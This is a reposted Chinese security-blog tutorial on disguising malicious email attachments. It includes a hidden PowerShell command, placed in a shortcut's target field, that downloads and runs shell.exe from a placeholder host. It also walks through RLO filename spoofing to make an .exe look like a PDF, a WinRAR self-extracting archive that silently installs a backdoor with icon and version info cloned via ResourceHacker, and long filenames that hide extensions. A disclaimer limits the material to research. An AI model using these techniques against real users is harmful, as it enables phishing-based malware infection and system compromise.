【创宇小课堂】常用的邮件钓鱼伪装方法

admin 2022年7月5日02:15:07安全文章评论5 views1090字阅读3分38秒阅读模式


快捷方式


修改快捷方式中的目标栏内容执行powershell命令下载木马
将以下内容写入目标栏中


C:WindowsSystem32cmd.exe /c powershell.exe -nop -w hidden -command IEX (new-object net.webclient).DownloadFile('http://ip/shell.exe','C:WindowsTempshell.exe');&cmd /c "C:WindowsTempshell.exe"


调用powershell,隐藏窗口执行下载网站的EXE恶意文件,存储到某一文件夹下,命令行运行EXE恶意文件


隐藏恶意文件,利用命名及图标伪装的快捷方式诱导点击


将真实要执行的恶意文件进行隐藏(此步骤可选)


创建快捷方式指向该文件,修改目标内容为explorer.exe .evil.exe 将起始位置内容删除
【创宇小课堂】常用的邮件钓鱼伪装方法


修改后缀为txt,并修改图标
【创宇小课堂】常用的邮件钓鱼伪装方法


最终效果如下,双击启动计算器。
【创宇小课堂】常用的邮件钓鱼伪装方法




RLO编码文件名欺骗


在windows下,如果字符串中存在Unicode字符RLO,则该字符右边的字符串会逆序显示,将后缀进行颠倒,实现文件名欺骗,不更改文件原本类型。

实现过程


F2进行重命名后在.exe前右键选择“插入Unicode控制字符(I)”点击“RLO”,输入fdp回车(该编码会导致输入显示逆序)即变成了pdf格式文件(注:不用加".")。

【创宇小课堂】常用的邮件钓鱼伪装方法


最终效果
【创宇小课堂】常用的邮件钓鱼伪装方法




自解压


利用winrar压缩工具自带的自解压功能实现全程无感知上线

利用工具的下载链接:

Winrar下载链接:
https://www.win-rar.com/download.html?&L=0

ResourceHacker:
http://www.angusj.com/resourcehacker/

实现过程


准备好正常的软件和后门软件
【创宇小课堂】常用的邮件钓鱼伪装方法

创建自解压文件,以真实安装包名字命名
【创宇小课堂】常用的邮件钓鱼伪装方法

设置自解压选项
【创宇小课堂】常用的邮件钓鱼伪装方法

【创宇小课堂】常用的邮件钓鱼伪装方法


解压后运行自解压文件中真实的安装包和恶意文件,使用静默模式,以达成无感知效果
【创宇小课堂】常用的邮件钓鱼伪装方法

【创宇小课堂】常用的邮件钓鱼伪装方法


修改自解压文件的资源文件

利用ResourceHacker工具(该工具可查看,修改,添加,删除和重命名,提取Windows可执行文件和资源文件的资源替换工具)修改自解压文件资源,更逼真

先提取正常软件的图标

【创宇小课堂】常用的邮件钓鱼伪装方法


打开刚才创建的自解压文件,替换图标
【创宇小课堂】常用的邮件钓鱼伪装方法


保存后打开源正常文件,查看正常软件的version信息,并复制下来,后面自解压软件替换信息用。
【创宇小课堂】常用的邮件钓鱼伪装方法


添加自解压软件的version信息
【创宇小课堂】常用的邮件钓鱼伪装方法

【创宇小课堂】常用的邮件钓鱼伪装方法


点绿色箭头进行保存
【创宇小课堂】常用的邮件钓鱼伪装方法


查看信息可见一样
【创宇小课堂】常用的邮件钓鱼伪装方法




超长文件名隐藏


利用windows目录默认显示文件名长度特性,进行修改将文件名加长隐藏后缀名。
【创宇小课堂】常用的邮件钓鱼伪装方法


【创宇小课堂】常用的邮件钓鱼伪装方法

【创宇小课堂】常用的邮件钓鱼伪装方法

原文始发于微信公众号(安全宇宙):【创宇小课堂】常用的邮件钓鱼伪装方法

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月5日02:15:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【创宇小课堂】常用的邮件钓鱼伪装方法 http://cn-sec.com/archives/1156554.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: